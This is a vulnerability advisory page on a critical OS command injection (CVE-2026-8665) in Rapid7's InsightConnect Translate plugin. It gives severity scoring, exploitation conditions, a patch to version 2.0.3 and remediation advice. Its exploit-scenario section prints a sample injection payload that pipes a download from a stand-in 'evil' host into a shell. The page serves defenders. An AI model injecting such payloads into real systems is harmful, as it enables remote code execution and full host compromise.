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InsightConnect TR Plugin EUVDEUVD-2026-39158

| CVE-2026-8665 CRITICAL
OS Command Injection (CWE-78)
2026-06-25 rapid7 GHSA-4v5r-xr6m-8fwr
9.8
CVSS 3.1 · NVD
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject shell metacharacters into TR text/expression parameter
  2. Delivery
    Plugin concatenates input into Linux shell command
  3. Exploit
    Command interpreter executes injected payload
  4. Execution
    Run arbitrary OS commands in plugin runtime
  5. Impact
    Full host compromise (C/I/A total)

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to control the 'text' or 'expression' parameter of the TR (Translate) action on a Linux-hosted InsightConnect TR Plugin older than 2.0.3; supplying shell metacharacters in that value triggers OS command execution. Per the CVSS vector (PR:N/UI:N) no authentication or user interaction is asserted, and complexity is low (AC:L), implying default plugin behavior is vulnerable. Limiting factors: the plugin runs on Linux specifically, the vulnerable TR action must actually be invoked with attacker-influenced input (in typical deployments these parameters are fed by InsightConnect workflows, so an attacker generally needs a path to inject untrusted data into such a workflow), and the affected version must be below 2.0.3. SSVC marks exploitation as none and not automatable, indicating no turnkey mass-exploitation path is currently known.

Impact

The signals are mixed and should be weighed rather than taken at face value. The vendor-supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N, C:H/I:H/A:H = 9.8) describes an unauthenticated, network-reachable, low-complexity path to total compromise, and SSVC marks Technical Impact as 'total' - consistent with command injection. However, SSVC also records Exploitation as 'none' (no observed or public exploitation) and Automatable as 'no', and EPSS is only 0.55% (42nd percentile), indicating low near-term mass-exploitation probability. There is no CISA KEV listing and no POC referenced. A key caveat: the CVSS PR:N/UI:N rating implies fully external, no-auth exploitation, but in practice a SOAR plugin's 'text'/'expression' parameters are usually populated from within authenticated InsightConnect workflows, so real-world reachability often depends on an attacker being able to feed untrusted data into a workflow that calls the TR action - verify exposure with the vendor advisory. Net: high technical severity but currently low evidence of active or automatable exploitation, so this is a prompt-patch item rather than an emergency for most deployments, with priority rising sharply if any workflow exposes the TR action to untrusted input.

Exploit ScenarioDerived

An attacker arranges for malicious input containing shell metacharacters (e.g. '; curl http://evil/x | sh') to reach the TR action's 'text' or 'expression' parameter - for example via a workflow that ingests untrusted alert/ticket data and passes it to the Translate plugin. When the plugin builds its shell command, the injected payload executes on the Linux host, granting command execution in the plugin runtime. No public POC or active exploitation is identified at time of analysis, and the low-complexity (AC:L) network vector makes the technical step trivial once attacker data reaches the vulnerable parameter.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.6% exploitation probability (EPSS)

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AnalysisAIv3 – Jun 29, 2026

OS command injection in Rapid7's InsightConnect Translate (TR) Plugin on Linux lets remote attackers run arbitrary shell commands by injecting into the 'text' or 'expression' parameters of the TR action, which are concatenated into a shell command without sanitization (CWE-78). All plugin versions before 2.0.3 are affected. There is no public exploit identified at time of analysis and EPSS is low (0.55%), but the flaw yields full system compromise per the vendor's own SSVC 'total' technical-impact rating.

Earlier versions of this analysis (2)
v2 Jun 29, 2026 - 19:45 cvss changed CVSS 9.8

OS command injection in the TR action of Rapid7's InsightConnect Translate (TR) Plugin on Linux lets remote attackers run arbitrary operating-system commands by injecting shell metacharacters into the 'text' or 'expression' parameters, which are unsafely concatenated into a shell command. All versions before 2.0.3 are affected. The flaw is rated CVSS 9.8 with a network attack vector and no authentication in the published vector; however, there is no public exploit identified at time of analysis, EPSS is low (0.55%, 42th percentile), and CISA SSVC marks exploitation as 'none', indicating high theoretical severity but no observed exploitation.

v1 Jun 25, 2026 - 02:16 CVSS 7.7

OS command injection in the TR (Translate) action of Rapid7's InsightConnect Translate Plugin on Linux lets remote attackers run arbitrary operating-system commands by supplying crafted values in the text or expression parameters, which are concatenated into a shell command without adequate sanitization (CWE-78). The flaw resides in the plugin component of Rapid7's InsightConnect SOAR platform and carries a CVSS 7.7 (high). There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but successful exploitation yields code execution on the Linux host running the plugin.

RemediationAI

Vendor-released patch: 2.0.3 - upgrade the InsightConnect TR Plugin to version 2.0.3 or later, which is the primary and recommended fix (vendor extension page: https://extensions.rapid7.com/extension/tr). Until the plugin is updated, reduce exposure by removing or disabling any InsightConnect workflows that invoke the TR action's text/expression parameters with externally sourced or untrusted data, and constrain those workflow inputs to trusted, validated values only (trade-off: any automation relying on the TR translate step will be paused or degraded). Restrict who can author/trigger workflows and tighten the orchestrator runtime's network egress and OS privileges to limit blast radius if injection occurs (trade-off: may interfere with legitimate plugin outbound calls). Track the official advisory at https://nvd.nist.gov/vuln/detail/CVE-2026-8665 and https://vuldb.com/vuln/373551 for any superseding versions.

Affected VersionsENISA

InsightConnect TR Plugin 0 <2.0.3

Affected Packages

euvd insightconnect_tr_plugin fix: 2.0.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

InsightConnect is Rapid7's SOAR (Security Orchestration, Automation and Response) platform, and the TR (Translate) Plugin is an automation connector that performs text translation/expression evaluation tasks within InsightConnect workflows. The CPE 'cpe:2.3:a:rapid7:insightconnect_tr_plugin' confirms the affected component is this specific plugin rather than the broader InsightConnect orchestrator. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): the plugin builds a Linux shell command string by directly interpolating user-supplied 'text' or 'expression' values, so shell metacharacters (e.g. ;, |, $(), backticks) break out of the intended command and execute attacker-controlled commands in the plugin's runtime context. Because plugins run inside the InsightConnect orchestrator/connection runtime (typically containerized on Linux), command execution occurs with that process's privileges.

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Severity by source

Vendor (rapid7) PRIMARY HIGH
NVD 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 9.8 CRITICAL

Description asserts remote, low-complexity command injection with no stated auth or interaction, yielding full OS command execution, so PR:N/UI:N and C/I/A all High; PR:N retained pending confirmation that the parameters are externally reachable.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (rapid7).

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

6
Analysis Updated
Jun 29, 2026 - 19:46 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 29, 2026 - 19:45 vuln.today
v2 - CVSS changed
Severity Changed
Jun 29, 2026 - 19:37 NVD
HIGH CRITICAL
CVSS changed
Jun 29, 2026 - 19:37 NVD
7.7 (HIGH) 9.8 (CRITICAL)
Patch available
Jun 25, 2026 - 03:01 EUVD
CVE Published
Jun 25, 2026 - 01:12 cve.org
HIGH 7.7

DescriptionNVD

OS Command Injection vulnerability in the TR action of Rapid7 InsightConnect Translate Plugin on Linux allows remote attackers to execute arbitrary OS commands via the text or expression parameters due to insufficient input sanitization in shell command construction.

Executive ViewAI

Why It Matters

Rapid7 InsightConnect Translate Plugin versions prior to 2.0.3 contain a critical remote code execution vulnerability (CVSS 9.8) that allows remote attackers to execute arbitrary system commands, potentially achieving full system compromise. Organizations using InsightConnect for security operations and workflow automation face immediate operational risk and potential exposure of sensitive data. A vendor patch is immediately available, necessitating urgent deployment across all affected infrastructure.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.6%
Top 58% exploitable
Prevalence
Low
niche plugin within Rapid7's commercial InsightConnect SOAR platform
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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